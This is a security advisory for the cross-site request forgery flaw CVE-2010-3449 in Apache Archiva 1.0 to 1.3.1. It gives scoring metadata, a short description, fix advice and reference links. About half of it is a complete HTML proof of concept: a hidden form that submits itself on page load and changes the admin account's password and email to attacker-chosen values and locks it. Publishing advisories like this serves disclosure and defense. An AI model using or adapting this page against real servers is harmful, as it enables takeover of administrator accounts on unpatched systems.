Apache Archiva 1.0 - 1.3.1 CSRF Vulnerability

2010.12.09

Credit: Anatolia Security

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2010-3449

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

ANATOLIA SECURITY ADVISORY
--------------------------------------

### ADVISORY INFO ###
+ Title: Apache Archiva Cross-site Request Forgery Vulnerability
+ Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-001.txt
+ Advisory ID:  2010-001
+ Versions: Archiva 1.0 to 1.3.1
+ Date: 29/09/2010
+ CVE-ID: CVE-2010-3449
+ Vendor: The Apache Software Foundation
+ Impact: Gaining Administrator Privileges
+ CWE-ID: 352 
+ Credit: Anatolia Security 
+ References: http://archiva.apache.org/security.html


### VULNERABLE PRODUCT ###
+ Apache Archiva: "Apache Archiva is an extensible repository management software that helps taking care of your 
own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as 
Maven, Continuum, and ANT. Archiva offers several capabilities, amongst which remote repository proxying, security 
access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning 
functionality... and many more!"
+ Homepage: http://archiva.apache.org



### VULNERABILITY DETAILS ###
+ Description: Apache Archiva affects from Cross-site Request Forgery. Application don't check which form sends
credentials. Technically, attacker can create a specially crafted page and force archiva administrators to view it 
and change their credentials. For prevention from CSRF vulnerabilities, application needs anti-csrf token, captcha
and asking old password for action like change password. Vulnerability patched by the Apache Archiva Team.

+ Exploit/POC: http://www.anatoliasecurity.com/exploits/archiva-csrf-poc.txt

<!--

-*-*- ANATOLIA SECURITY (c) 2010 -*-*-

$ Title: Proof of Concept Code for Apache Archiva CSRF
$ ADV-ID: 2010-001
$ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-001.txt
$ Technical Details: http://www.anatoliasecurity.com

* PoC created by Eliteman 
~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com
~ web: elite.anatoliasecurity.com

-->
<html>
<head>
<title> Apache Archiva CSRF PoC </title>
</head>
<body>
<form id="userEditForm" name="useredit" action="http://archiva:8080/archiva/security/useredit.action" method="post">
  <input type="hidden" name="user.username" value="admin" id="userEditForm_user_username"/>
  <input type="hidden" name="user.fullName" value="OWNED0DAY" id="userEditForm_user_fullName"/>
  <input type="hidden" name="user.email" value="0day@zer0day.com" id="userEditForm_user_email"/>
  <input type="hidden" name="user.password" value="1337owned" id="userEditForm_user_password"/>
  <input type="hidden" name="user.confirmPassword" value="1337owned" id="userEditForm_user_confirmPassword"/>
  <input type="hidden" name="user.locked" value="true" id="userEditForm_user_locked"/>
  <input type="hidden" name="__checkbox_user.locked" value="true" />
  <input type="hidden" name="user.passwordChangeRequired" value="true" id="userEditForm_user_passwordChangeRequired"/>
  <input type="hidden" name="__checkbox_user.passwordChangeRequired" value="true" />
  <input type="hidden" name="username" value="admin" id="userEditForm_username"/>
  <input type="hidden" id="userEditForm__submit" name="method:submit" value="Update"/>
</form>
<script type="text/javascript">
  document.forms[0].submit();
</script>
</body>
</html>

References:

http://svn.apache.org/viewvc/archiva/branches/archiva-1.3.x/pom.xml?r1=1038518&r2=1038517&pathrev=1038518

http://svn.apache.org/viewvc/archiva/branches/archiva-1.3.x/archiva-modules/archiva-web/archiva-webapp/src/main/resources/struts.xml?r1=1038518&r2=1038517&pathrev=1038518

http://www.vupen.com/english/advisories/2010/3098

http://www.securityfocus.com/bid/45095

http://www.securityfocus.com/archive/1/archive/1/514937/100/0/threaded

http://www.osvdb.org/69520

http://svn.apache.org/viewvc?view=revision&revision=1038518

http://secunia.com/advisories/42376

http://mail-archives.apache.org/mod_mbox/archiva-users/201011.mbox/ajax/%3CAANLkTimXejHAuXdoUKLN=GkNty1_XnRCbv0YA0T2cS_2@mail.gmail.com%3E

http://jira.codehaus.org/browse/MRM-1438

http://archiva.apache.org/security.html

See this note in RAW Version

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Apache Archiva 1.0 - 1.3.1 CSRF Vulnerability

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